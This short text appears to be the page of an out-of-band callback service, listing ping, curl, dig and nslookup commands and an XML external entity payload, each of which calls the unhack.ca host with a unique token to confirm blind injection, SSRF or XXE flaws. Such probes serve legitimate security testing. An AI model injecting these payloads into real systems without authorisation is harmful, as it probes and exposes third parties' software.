$ ping -c1 -p 00b887fd42a9a5aeb2241f3358795200 unhack.ca
 

$ curl http://unhack.ca/p/b887fd42a9a5aeb2241f33587952
 

$ dig b887fd42a9a5aeb2241f33587952 @unhack.ca
 

$ dig b887fd42a9a5aeb2241f33587952.ns.unhack.ca
 

C:\> nslookup b887fd42a9a5aeb2241f33587952 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b887fd42a9a5aeb2241f33587952">]>
    <foo>&xxe;</foo>